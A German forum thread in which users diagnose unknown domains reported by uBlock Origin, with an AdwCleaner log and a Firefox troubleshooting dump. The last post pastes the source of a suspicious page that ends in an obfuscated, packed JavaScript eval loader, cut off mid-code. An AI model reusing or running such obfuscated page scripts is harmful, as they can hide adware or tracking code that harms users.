µBlock Origin Ad-Blocker -Diskussionsthread

Dackelhasser

Bei mir ist auf Wetteronline immer noch überall Werbung.

In der Whitelist von uBlock taucht bei mir dieser Eintrag auf, der sich nicht entfernen lässt.

"about-scheme

chrome-extension-scheme

chrome-scheme

moz-extension-scheme

opera-scheme

vivaldi-scheme

wyciwyg-scheme"

Was ist das bitte?

Boersenfeger

Diese Einträge gehören zur Konfiguration und sind nicht böse...

@ Wetteronline: Nutze die Pipette.... Ich kann keine größere Werbung feststellen...

Jessie

Zitat von Dackelhasser

Bei mir ist auf Wetteronline immer noch überall Werbung.
(...)

Kann ich nicht bestätigen. Bitte im Dashboard unter Filterlisten "Leere alle Cache-Speicher" drücken. Danach "Jetzt aktualisieren". Dann sollte es klappen. Zur Sicherheit bitte auch noch mal alle Cookies von wetteronline.de löschen, kann nie schaden...

J.

Dackelhasser

Okay, jetzt ist wieder alles so, wie es sein sollte.

Jessie

Zitat von Dackelhasser

Okay, jetzt ist wieder alles so, wie es sein sollte.

Schön.

bege

Hallo,

seit noch nicht langer Zeit finde ich immer öfter diese Domains

poligloteapp.org

object.center

und kann darüber schlicht nichts im Internet finden.

Was hat es damit auf sich?

Boersenfeger

Dann nimm mal meine Suchmaschine

bege

Immerhin EIN Suchergebnis. Leider gibt es keine Auskunft darüber, was dahinter steckt und warum das so oft in uBlock erscheint, ebenso wie die andere Domain.

Boersenfeger

Beim Aufruf welche Webseite erscheint dies denn? Mir ist das noch nicht untergekommen. Ob der andere Eintrag eine Domain ist, müsste zu beweisen sein... klingt doch eher danach, das ein Objekt auf einer Webseite in die Mitte gestellt wird.

Fox2Fox

Könnte ja auch mit AdWare zu tun haben....

Benutze AdwCleaner und bevor du etwas löschen lässt, poste den Inhalt des Logfiles per Code </>

bege

Zitat von Boersenfeger

Beim Aufruf welche Webseite erscheint dies denn? Mir ist das noch nicht untergekommen. Ob der andere Eintrag eine Domain ist, müsste zu beweisen sein... klingt doch eher danach, das ein Objekt auf einer Webseite in die Mitte gestellt wird.

Zum Beispiel bei diesem Forum

bege

Zitat von Fox2Fox

Könnte ja auch mit AdWare zu tun haben....
Benutze AdwCleaner und bevor du etwas löschen lässt, poste den Inhalt des Logfiles per Code </>

Nix aufregendes:

Code

# -------------------------------
# Malwarebytes AdwCleaner 7.4.0.0
# -------------------------------
# Build:    07-23-2019
# Database: 2019-07-22.1 (Cloud)
# Support:  https://www.malwarebytes.com/support
#
# -------------------------------
# Mode: Scan
# -------------------------------
# Start:    07-30-2019
# Duration: 00:00:57
# OS:       Windows 7 Professional
# Scanned:  35810
# Detected: 16


***** [ Services ] *****

No malicious services found.

***** [ Folders ] *****

PUP.Optional.AdvancedSystemCare C:\ProgramData\IObit\Advanced SystemCare
PUP.Optional.AdvancedSystemCare C:\Users\bege\AppData\Roaming\IObit\Advanced SystemCare
PUP.Optional.DriverBooster      C:\Program Files (x86)\IOBIT\Driver Booster
PUP.Optional.DriverBooster      C:\ProgramData\IOBIT\Driver Booster
PUP.Optional.DriverBooster      C:\Users\bege\AppData\Roaming\IOBIT\Driver Booster
PUP.Optional.Legacy             C:\Users\bege\AppData\Local\DriverToolkit

***** [ Files ] *****

No malicious files found.

***** [ DLL ] *****

No malicious DLLs found.

***** [ WMI ] *****

No malicious WMI found.

***** [ Shortcuts ] *****

No malicious shortcuts found.

***** [ Tasks ] *****

No malicious tasks found.

***** [ Registry ] *****

PUP.Optional.DriverBooster      HKLM\Software\Wow6432Node\IObit\Driver Booster
PUP.Optional.DriverBooster      HKLM\Software\Wow6432Node\\Microsoft\Windows\CurrentVersion\Uninstall\Driver Booster_is1
PUP.Optional.DriverPack         HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\zonemap\domains\drp.su
PUP.Optional.DriverPack         HKLM\Software\Wow6432Node\drpsu
PUP.Optional.DriverPack         HKLM\Software\drpsu
PUP.Optional.Legacy             HKCU\Software\DriverToolkit
PUP.Optional.Legacy             HKLM\Software\Classes\Interface\{813A22E0-3E2B-4188-9BDA-ECA9878B8D48}
PUP.Optional.Legacy             HKLM\Software\Classes\Interface\{BCFF5F55-6F44-11D2-86F8-00104B265ED5}
PUP.Optional.Legacy             HKLM\Software\Wow6432Node\\Classes\Interface\{813A22E0-3E2B-4188-9BDA-ECA9878B8D48}
PUP.Optional.Legacy             HKLM\Software\Wow6432Node\\Classes\Interface\{BCFF5F55-6F44-11D2-86F8-00104B265ED5}

***** [ Chromium (and derivatives) ] *****

No malicious Chromium entries found.

***** [ Chromium URLs ] *****

No malicious Chromium URLs found.

***** [ Firefox (and derivatives) ] *****

No malicious Firefox entries found.

***** [ Firefox URLs ] *****

No malicious Firefox URLs found.

***** [ Preinstalled Software ] *****

No Preinstalled Software found.



########## EOF - C:\AdwCleaner\Logs\AdwCleaner[S00].txt ##########

Alles anzeigen

Zitronella

nun mache folgendes

● wenn AdwCleaner noch gestartet ist dann klicke im Dashboard auf "Bereinigen und Reparieren" bzw. "In Quarantäne verschieben" (falls nicht gestartet, dann starte ihn erneut mache erneut den Suchlauf und drücke dann darauf"). Danach wirst du aufgefordert deinen Rechner neu zu starten. Lasse dies zu. https://mozhelp.dynvpn.de/guide/public/u…wc-7/awc-06.png

Danach gib uns bitte mehr Infos über deinen Firefox und zwar folgendermaßen:

●☰ ➜ (?) Hilfe ➜ Informationen zur Fehlerbehebung

● jetzt die Schaltfläche "Text in die Zwischenablage kopieren" anklicken

● jetzt den kopierten Text aus der Zwischenablage als </>Code hier ins Forum einfügen. siehe dazu

bege

Zitronella

Code

Allgemeine Informationen
------------------------

Name: Firefox
Version: 68.0.1
Build-ID: 20190717172542
Update-Kanal: release-cck-mozilla-EMEfree
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Betriebssystem: Windows_NT 6.1
Starter-Prozess: Aktiviert
Fenster mit mehreren Prozessen: 1/1 aktiviert (Standard)
Externe Prozesse: 4
Unternehmensrichtlinien: Inaktiv
Google-Location-Service-Schlüssel: Gefunden
Google-Safebrowsing-Schlüssel: Gefunden
Mozilla-Location-Service-Schlüssel: Gefunden
Abgesicherter Modus: false

Absturzberichte der letzten 3 Tage
----------------------------------

Firefox-Funktionen
------------------

Name: Firefox Monitor
Version: 3.0
ID: fxmonitor@mozilla.org

Name: Firefox Screenshots
Version: 39.0.0
ID: screenshots@mozilla.org

Name: Form Autofill
Version: 1.0
ID: formautofill@mozilla.org

Name: Web Compat
Version: 4.3.2
ID: webcompat@mozilla.org

Name: WebCompat Reporter
Version: 1.1.0
ID: webcompat-reporter@mozilla.org

Externe Prozesse
----------------

Typ: Webinhalt
Anzahl: 2 / 8

Typ: Erweiterung
Anzahl: 1

Typ: GPU
Anzahl: 1

Erweiterungen
-------------

Name: Amazon.de
Version: 1.1
Aktiviert: true
ID: amazon@search.mozilla.org

Name: Autofill
Version: 9.5.6
Aktiviert: true
ID: {143f479b-4cb2-4d8c-8c31-ae8653bc6054}

Name: Bing
Version: 1.0
Aktiviert: true
ID: bing@search.mozilla.org

Name: Bookmarks Organizer
Version: 3.1.0
Aktiviert: true
ID: bookmarksorganizer@agenedia.com

Name: breadcrumbus
Version: 1.0.5
Aktiviert: true
ID: @breadcrumbus

Name: Brief
Version: 2.6.0
Aktiviert: true
ID: brief@mozdev.org

Name: ContextSearch web-ext
Version: 1.13
Aktiviert: true
ID: {5dd73bb9-e728-4d1e-990b-c77d8e03670f}

Name: Cookie AutoDelete
Version: 3.0.2
Aktiviert: true
ID: CookieAutoDelete@kennydo.com

Name: Cookie Manager
Version: 1.5
Aktiviert: true
ID: cookie-manager@robwu.nl

Name: Custom Titlebar Text
Version: 0.2.1.7
Aktiviert: true
ID: {b5a43a70-4092-4899-9c44-63799150b35e}

Name: DuckDuckGo
Version: 1.0
Aktiviert: true
ID: ddg@search.mozilla.org

Name: eBay
Version: 1.0
Aktiviert: true
ID: ebay@search.mozilla.org

Name: Ecosia
Version: 1.0
Aktiviert: true
ID: ecosia@search.mozilla.org

Name: Flagfox
Version: 6.1.15
Aktiviert: true
ID: {1018e4d6-728f-4b20-ad56-37578a4de76b}

Name: Form History Control (II)
Version: 2.3.1.0
Aktiviert: true
ID: formhistory@yahoo.com

Name: Free Download Manager
Version: 3.0.40
Aktiviert: true
ID: fdm_ffext2@freedownloadmanager.org

Name: Google
Version: 1.0
Aktiviert: true
ID: google@search.mozilla.org

Name: History AutoDelete
Version: 2.0.2
Aktiviert: true
ID: {7e79d10d-9667-4d38-838d-471281c568c3}

Name: ImTranslator: Translator, Dictionary, TTS
Version: 15.27
Aktiviert: true
ID: {9AA46F4F-4DC7-4c06-97AF-5035170634FE}

Name: Kee - Password Manager
Version: 3.2.7
Aktiviert: true
ID: keefox@chris.tomlinson

Name: Keep or Delete Bookmarks
Version: 1.0.1
Aktiviert: true
ID: keep-or-delete-bookmarks@agenedia.com

Name: LEO Dictionaries
Version: 3.4.1
Aktiviert: true
ID: contextMenuExtension@leo.org

Name: LEO Eng-Deu
Version: 1.0
Aktiviert: true
ID: leo_ende_de@search.mozilla.org

Name: Note Taker
Version: 1.2.7
Aktiviert: true
ID: note-taker@r01

Name: Plain Text Linker
Version: 2.4.1
Aktiviert: true
ID: jid1-CeHl9T9miaoK2w@jetpack

Name: Privacy Badger
Version: 2019.7.1.1
Aktiviert: true
ID: jid1-MnnxcxisBPnSXQ@jetpack

Name: Saka Key
Version: 1.25.5
Aktiviert: true
ID: {46104586-98c3-407e-a349-290c9ff3594d}

Name: SaveForReadLater
Version: 1.4
Aktiviert: true
ID: saveforreadlater@gmail.com

Name: Search Site WE
Version: 3.4
Aktiviert: true
ID: searchsite-we@DW-dev

Name: Session Boss
Version: 2.11.2
Aktiviert: true
ID: sessionboss@william.wong

Name: Shortkeys (Custom Keyboard Shortcuts)
Version: 2.2.7
Aktiviert: true
ID: Shortkeys@Shortkeys.com

Name: SiteDelta Watch
Version: 0.24.0
Aktiviert: true
ID: sitedelta-watch@schierla.de

Name: Startpage.com — Datenschutz-Suchmaschine
Version: 1.1.4
Aktiviert: true
ID: {20fc2e06-e3e4-4b2b-812b-ab431220cada}

Name: StoragErazor
Version: 1.0
Aktiviert: true
ID: StoragErazor@example.org

Name: Text Linky Tool
Version: 1.2.11
Aktiviert: true
ID: {3efee51a-7d3b-4412-a889-addc6ff6276b}

Name: Tree Style Tab
Version: 3.1.5
Aktiviert: true
ID: treestyletab@piro.sakura.ne.jp

Name: uAutoPagerize
Version: 0.1.4.1
Aktiviert: true
ID: @uautopagerize

Name: uBlock Origin
Version: 1.21.2
Aktiviert: true
ID: uBlock0@raymondhill.net

Name: Vergiss Mein Nicht - Vergiss Cookies und andere Daten
Version: 2.2.4
Aktiviert: true
ID: forget-me-not@lusito.info

Name: Wikipedia (de)
Version: 1.0
Aktiviert: true
ID: wikipedia@search.mozilla.org

Name: YouTube Converter & Downloader
Version: 3.3.0
Aktiviert: true
ID: @youtube-converter-video-music-downloader

Name: YouTube Downloader
Version: 4.13
Aktiviert: true
ID: YouTube@develop.com

Name: Zotero Connector
Version: 5.0.57
Aktiviert: true
ID: zotero@chnm.gmu.edu

Name: Distill Web Monitor
Version: 1.12.7
Aktiviert: false
ID: {7a73dc4b-1b38-40e7-ac56-7d356dd4af34}

Name: SQLite Manager
Version: 0.2.6
Aktiviert: false
ID: {7d2676a5-0546-4e2a-9019-aa9d8345be1e}

Name: Text Link
Version: 6.0.2
Aktiviert: false
ID: {54BB9F3F-07E5-486c-9B39-C7398B99391C}

Grafik
------

Allgemeine Merkmale
Compositing: Direct3D 11 (Advanced Layers)
Asynchrones Wischen und Zoomen: Mausrad-Eingabe aktiviert; Ziehen der Bildlaufleiste aktiviert; Tastatur aktiviert; automatischer Bildlauf aktiviert
WebGL-1-Treiber: WSI Info: -
WebGL-1-Treiber: Renderer: WebGL is currently disabled.
WebGL-1-Treiber: Version: -
WebGL-1-Treiber: Erweiterungen: -
WebGL-1-Erweiterungen: -
WebGL-2-Treiber: WSI Info: -
WebGL-2-Treiber: Renderer: (no creation error info)
WebGL-2-Treiber: Version: -
WebGL-2-Treiber: Erweiterungen: -
WebGL-2-Erweiterungen: -
Direct2D: true
Zeichnen auf Nebenthread aktiviert: true
Anzahl Worker für Zeichnen auf Nebenthread: 3
Anvisierte Bildwiederholfrequenz (Framerate): 60
DirectWrite: true (6.2.9200.22807)
GPU 1
Aktiv: Ja
Beschreibung: AMD Radeon(TM) R5 Graphics
Herstellerkennung: 0x1002
Gerätekennung: 0x9851
Treiber-Version: 26.20.12001.7006
Treiber-Datum: 6-12-2019
Treiber: aticfx64 aticfx64 aticfx64 amdxc64 aticfx32 aticfx32 aticfx32 amdxc32 atiumd64 atidxx64 atidxx64 atiumdag atidxx32 atidxx32 atiumdva atiumd6a atitmm64
Subsys-ID: 00000000
RAM: 1024

Weitere Informationen
AzureCanvasBackend: direct2d 1.1
AzureCanvasBackend (UI Process): skia
AzureContentBackend: direct2d 1.1
AzureContentBackend (UI Process): skia
AzureFallbackCanvasBackend (UI Process): cairo
GPUProcessPid: 4788
ClearType-Parameter: Gamma: 2,2 Pixel Structure: RGB ClearType Level: 100 Enhanced Contrast: 100
Entscheidungsprotokoll
WEBRENDER:
opt-in by default: WebRender is an opt-in feature
WEBRENDER_QUALIFIED:
blacklisted by env: No qualified hardware
ADVANCED_LAYERS:
available by user: Enabled for Windows 7 via user-preference

Lösungen
NO_CONSTANT_BUFFER_OFFSETTING: Unsupported by driver


Medien
------

Audio-Backend: wasapi
Max. Kanäle: 2
Bevorzugte Sample-Rate: 48000
Ausgabegeräte
Name: Gruppe
Audials Sound Capturing (4) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (8) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (3) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (24) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (27) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (25) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (20) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (13) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (7) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (17) (Audials Sound Capturing): Root\MEDIA\0001
Lautsprecher/Kopfhörer (Realtek High Definition Audio): HDAUDIO\FUNC_01&VEN_10EC&DEV_0282&SUBSYS_103C81F6&REV_1000\4&492d694&0&0001
Audials Sound Capturing (2) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (15) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (Audials Sound Capturing): Root\MEDIA\0001
Realtek HD Audio 2nd output (Realtek High Definition Audio): HDAUDIO\FUNC_01&VEN_10EC&DEV_0282&SUBSYS_103C81F6&REV_1000\4&492d694&0&0001
Audials Sound Capturing (9) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (18) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (10) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (14) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (16) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (11) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (23) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (12) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (28) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (6) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (26) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (21) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (5) (Audials Sound Capturing): Root\MEDIA\0001
1 - Digital Display Audio (AMD High Definition Audio Device): HDAUDIO\FUNC_01&VEN_1002&DEV_AA01&SUBSYS_00AA0100&REV_1005\4&2193d8a&3&0001
Audials Sound Capturing (22) (Audials Sound Capturing): Root\MEDIA\0001
Audials Sound Capturing (19) (Audials Sound Capturing): Root\MEDIA\0001
Eingabegeräte
Name: Gruppe
Mikrofon (Realtek High Definition Audio): HDAUDIO\FUNC_01&VEN_10EC&DEV_0282&SUBSYS_103C81F6&REV_1000\4&492d694&0&0001
Mikrofon (ManyCam Virtual Microphone): Root\MEDIA\0000
Interne AUX-Buchse (AMD High Definition Audio Device): HDAUDIO\FUNC_01&VEN_1002&DEV_AA01&SUBSYS_00AA0100&REV_1005\4&2193d8a&3&0001
Stereomix (Realtek High Definition Audio): HDAUDIO\FUNC_01&VEN_10EC&DEV_0282&SUBSYS_103C81F6&REV_1000\4&492d694&0&0001
Mikrofon (Realtek High Definition Audio): HDAUDIO\FUNC_01&VEN_10EC&DEV_0282&SUBSYS_103C81F6&REV_1000\4&492d694&0&0001
Mic in at front panel (black) (Realtek High Definition Audio): HDAUDIO\FUNC_01&VEN_10EC&DEV_0282&SUBSYS_103C81F6&REV_1000\4&492d694&0&0001

Wichtige modifizierte Einstellungen
-----------------------------------

accessibility.force_disabled: 1
accessibility.typeaheadfind.flashBar: 0
browser.cache.disk.amount_written: 1943345
browser.cache.disk.capacity: 153600
browser.cache.disk.filesystem_reported: 1
browser.cache.disk.smart_size.first_run: false
browser.cache.frecency_experiment: 2
browser.download.useDownloadDir: false
browser.link.open_newwindow.restriction: 0
browser.places.smartBookmarksVersion: 8
browser.search.openintab: true
browser.search.suggest.enabled: false
browser.search.useDBForOrder: true
browser.sessionstore.upgradeBackup.latestBuildID: 20190717172542
browser.startup.homepage_override.buildID: 20190717172542
browser.startup.homepage_override.mstone: 68.0.1
browser.tabs.closeWindowWithLastTab: false
browser.tabs.drawInTitlebar: false
browser.tabs.loadBookmarksInTabs: true
browser.tabs.loadInBackground: false
browser.tabs.warnOnClose: false
browser.tabs.warnOnCloseOtherTabs: false
browser.urlbar.matchBuckets: general:5,suggestion:Infinity
browser.urlbar.openintab: true
browser.urlbar.placeholderName: DuckDuckGo
browser.urlbar.searchSuggestionsChoice: false
browser.urlbar.suggest.searches: false
browser.urlbar.timesBeforeHidingSuggestionsHint: 0
dom.enable_performance: false
dom.enable_performance_navigation_timing: false
dom.enable_resource_timing: false
dom.push.userAgentID: 90887d02360c4eaa9e0a1774476ff9c2
extensions.formautofill.addresses.enabled: false
extensions.formautofill.creditCards.enabled: false
extensions.formautofill.heuristics.enabled: false
extensions.lastAppVersion: 68.0.1
font.internaluseonly.changed: false
gfx.crash-guard.status.wmfvpxvideo: 2
gfx.crash-guard.wmfvpxvideo.appVersion: 68.0.1
gfx.crash-guard.wmfvpxvideo.deviceID: 0x9851
gfx.crash-guard.wmfvpxvideo.driverVersion: 26.20.12001.7006
idle.lastDailyNotification: 1564418311
layers.mlgpu.sanity-test-failed: false
media.benchmark.vp9.fps: 64
media.benchmark.vp9.versioncheck: 5
media.gmp-gmpopenh264.abi: x86_64-msvc-x64
media.gmp-gmpopenh264.lastUpdate: 1558627164
media.gmp-gmpopenh264.version: 1.8.1
media.gmp-manager.buildID: 20190717172542
media.gmp-manager.lastCheck: 1564418006
media.gmp.storage.version.observed: 1
media.hardware-video-decoding.failed: false
media.peerconnection.enabled: false
network.cookie.prefsMigrated: true
network.dns.disablePrefetch: true
network.http.speculative-parallel-limit: 0
network.predictor.cleaned-up: true
network.predictor.enabled: false
network.prefetch-next: false
places.database.lastMaintenance: 1564327917
places.history.expiration.transient_current_max_pages: 102534
plugin.disable_full_page_plugin_for_types: application/pdf
privacy.clearOnShutdown.cookies: false
privacy.clearOnShutdown.downloads: false
privacy.clearOnShutdown.history: false
privacy.history.custom: true
privacy.sanitize.didShutdownSanitize: true
privacy.sanitize.pending: [{"id":"shutdown","itemsToClear":["cache","formdata","sessions"],"options":{}},{"id":"newtab-container","itemsToClear":[
privacy.sanitize.sanitizeOnShutdown: true
privacy.trackingprotection.pbmode.enabled: false
privacy.userContext.enabled: true
privacy.userContext.extension: forget-me-not@lusito.info
privacy.userContext.longPressBehavior: 2
privacy.userContext.ui.enabled: true
security.remote_settings.intermediates.checked: 1562914945
security.sandbox.content.tempDirSuffix: {3b9c42c6-184c-454a-a5b6-67103afa038b}
security.sandbox.plugin.tempDirSuffix: {48000d18-65a9-4a3c-b083-ee03a20dbf47}
services.sync.declinedEngines:
signon.importedFromSqlite: true
signon.rememberSignons: false
storage.vacuum.last.index: 1
storage.vacuum.last.places.sqlite: 1563460461
svg.context-properties.content.enabled: true
webgl.disabled: true
webgl.enable-webgl2: false

Wichtige nicht veränderbare Einstellungen
-----------------------------------------

Chronik- und Lesezeichendatenbank
---------------------------------

JavaScript
----------

Inkrementelle GC: true

Barrierefreiheit
----------------

Aktiviert: false
Barrierefreiheit verhindern: 1
Accessible Handler verwendet: true
Dienst für Barrierefreiheit aufgerufen durch:

Bibliotheken-Versionen
----------------------

NSPR
Minimal vorausgesetzte Version: 4.21
Verwendete Version: 4.21

NSS
Minimal vorausgesetzte Version: 3.44.1
Verwendete Version: 3.44.1

NSSSMIME
Minimal vorausgesetzte Version: 3.44.1
Verwendete Version: 3.44.1

NSSSSL
Minimal vorausgesetzte Version: 3.44.1
Verwendete Version: 3.44.1

NSSUTIL
Minimal vorausgesetzte Version: 3.44.1
Verwendete Version: 3.44.1

Isolierte Umgebungen
--------------------

Ebene der isolierten Umgebung des Inhaltsprozesses: 5
Effektive Ebene der isolierten Umgebung: 5

Internationalisierung & Lokalisierung
-------------------------------------

Anwendungseinstellungen
Angeforderte Sprachen: ["de"]
Verfügbare Sprachen: ["de","en-US"]
Anwendungssprachen: ["de","en-US"]
Region-Einstellungen: ["de-DE"]
Standardsprache: "de"
Betriebssystem
Sprachen des Betriebssystems: ["de-DE"]
Region-Einstellungen: ["de-DE"]

Alles anzeigen

Fox2Fox

Zitat von bege

Nix aufregendes:

Zitat von bege

PUP.Optional.AdvancedSystemCare C:\ProgramData\IObit\Advanced SystemCare
PUP.Optional.AdvancedSystemCare C:\Users\bege\AppData\Roaming\IObit\Advanced SystemCare
PUP.Optional.DriverBooster C:\Program Files (x86)\IOBIT\Driver Booster
PUP.Optional.DriverBooster C:\ProgramData\IOBIT\Driver Booster
PUP.Optional.DriverBooster C:\Users\bege\AppData\Roaming\IOBIT\Driver Booster
PUP.Optional.Legacy C:\Users\bege\AppData\Local\DriverToolkit

Glaubst du auch nur. Trenne dich von diesem IObit-Mist!

Schau in der Systemsteuerung unter Software nach und alles, was damit zu tun hat, deinstallierst du.

.DeJaVu

Ich würde behaupten, dass es eine von deinen Erweiterungen ist, da ist doch auch zweifelhaftes bei:

https://object.center/converter

HTML

<html>
<head>
<style>
/*!
 * Bootstrap Grid v4.1.2 (https://getbootstrap.com/)
 * Copyright 2011-2018 The Bootstrap Authors
 * Copyright 2011-2018 Twitter, Inc.
 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
 */
@-ms-viewport {
  width: device-width;
}

html {
  box-sizing: border-box;
  -ms-overflow-style: scrollbar;
}

*,
*::before,
*::after {
  box-sizing: inherit;
}

.container {
  width: 100%;
  padding-right: 15px;
  padding-left: 15px;
  margin-right: auto;
  margin-left: auto;
}

@media (min-width: 576px) {
  .container {
    max-width: 540px;
  }
}

@media (min-width: 768px) {
  .container {
    max-width: 720px;
  }
}

@media (min-width: 992px) {
  .container {
    max-width: 960px;
  }
}

@media (min-width: 1200px) {
  .container {
    max-width: 1140px;
  }
}

.container-fluid {
  width: 100%;
  padding-right: 15px;
  padding-left: 15px;
  margin-right: auto;
  margin-left: auto;
}

.row {
  display: -ms-flexbox;
  display: flex;
  -ms-flex-wrap: wrap;
  flex-wrap: wrap;
  margin-right: -15px;
  margin-left: -15px;
}

.no-gutters {
  margin-right: 0;
  margin-left: 0;
}

.no-gutters > .col,
.no-gutters > [class*="col-"] {
  padding-right: 0;
  padding-left: 0;
}

.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,
.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,
.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,
.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,
.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,
.col-xl-auto {
  position: relative;
  width: 100%;
  min-height: 1px;
  padding-right: 15px;
  padding-left: 15px;
}

.col {
  -ms-flex-preferred-size: 0;
  flex-basis: 0;
  -ms-flex-positive: 1;
  flex-grow: 1;
  max-width: 100%;
}

.col-auto {
  -ms-flex: 0 0 auto;
  flex: 0 0 auto;
  width: auto;
  max-width: none;
}

.col-1 {
  -ms-flex: 0 0 8.333333%;
  flex: 0 0 8.333333%;
  max-width: 8.333333%;
}

.col-2 {
  -ms-flex: 0 0 16.666667%;
  flex: 0 0 16.666667%;
  max-width: 16.666667%;
}

.col-3 {
  -ms-flex: 0 0 25%;
  flex: 0 0 25%;
  max-width: 25%;
}

.col-4 {
  -ms-flex: 0 0 33.333333%;
  flex: 0 0 33.333333%;
  max-width: 33.333333%;
}

.col-5 {
  -ms-flex: 0 0 41.666667%;
  flex: 0 0 41.666667%;
  max-width: 41.666667%;
}

.col-6 {
  -ms-flex: 0 0 50%;
  flex: 0 0 50%;
  max-width: 50%;
}

.col-7 {
  -ms-flex: 0 0 58.333333%;
  flex: 0 0 58.333333%;
  max-width: 58.333333%;
}

.col-8 {
  -ms-flex: 0 0 66.666667%;
  flex: 0 0 66.666667%;
  max-width: 66.666667%;
}

.col-9 {
  -ms-flex: 0 0 75%;
  flex: 0 0 75%;
  max-width: 75%;
}

.col-10 {
  -ms-flex: 0 0 83.333333%;
  flex: 0 0 83.333333%;
  max-width: 83.333333%;
}

.col-11 {
  -ms-flex: 0 0 91.666667%;
  flex: 0 0 91.666667%;
  max-width: 91.666667%;
}

.col-12 {
  -ms-flex: 0 0 100%;
  flex: 0 0 100%;
  max-width: 100%;
}

.order-first {
  -ms-flex-order: -1;
  order: -1;
}

.order-last {
  -ms-flex-order: 13;
  order: 13;
}

.order-0 {
  -ms-flex-order: 0;
  order: 0;
}

.order-1 {
  -ms-flex-order: 1;
  order: 1;
}

.order-2 {
  -ms-flex-order: 2;
  order: 2;
}

.order-3 {
  -ms-flex-order: 3;
  order: 3;
}

.order-4 {
  -ms-flex-order: 4;
  order: 4;
}

.order-5 {
  -ms-flex-order: 5;
  order: 5;
}

.order-6 {
  -ms-flex-order: 6;
  order: 6;
}

.order-7 {
  -ms-flex-order: 7;
  order: 7;
}

.order-8 {
  -ms-flex-order: 8;
  order: 8;
}

.order-9 {
  -ms-flex-order: 9;
  order: 9;
}

.order-10 {
  -ms-flex-order: 10;
  order: 10;
}

.order-11 {
  -ms-flex-order: 11;
  order: 11;
}

.order-12 {
  -ms-flex-order: 12;
  order: 12;
}

.offset-1 {
  margin-left: 8.333333%;
}

.offset-2 {
  margin-left: 16.666667%;
}

.offset-3 {
  margin-left: 25%;
}

.offset-4 {
  margin-left: 33.333333%;
}

.offset-5 {
  margin-left: 41.666667%;
}

.offset-6 {
  margin-left: 50%;
}

.offset-7 {
  margin-left: 58.333333%;
}

.offset-8 {
  margin-left: 66.666667%;
}

.offset-9 {
  margin-left: 75%;
}

.offset-10 {
  margin-left: 83.333333%;
}

.offset-11 {
  margin-left: 91.666667%;
}
</style>
</head>
<body>
<script>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('g 2V(v,l,P){v+=\'\';l+=\'\';7(l.8<=0)b(v.8+1);6 n=0,m=0,X=P?1:l.8;2W(u){m=v.2X(l,m);7(m>=0){++n;m+=X}h 2U}b n}g Q(){6 x=o.y;6 A=o.2T(\'a\');A.z=x;6 d=A.k;6 p=d.2P(\'.\');7(\'f\'==p[p.8-1])b p[p.8-2]+\'.\'+p[p.8-1];h 7(p.8>2){6 a=["f.M","f.2Q","j.2R","f.2S","f.2Y","j.2Z","j.36","f.37","f.38","j.35","j.34","j.30","f.31","f.32","f.33","f.M"];2O(6 i=0;i<a.8;i++){7(a[i]==p[p.8-2]+\'.\'+p[p.8-1])b p[p.8-3]+\'.\'+p[p.8-2]+\'.\'+p[p.8-1]}}b p[p.8-2]+\'.\'+p[p.8-1]}g 11(k){6 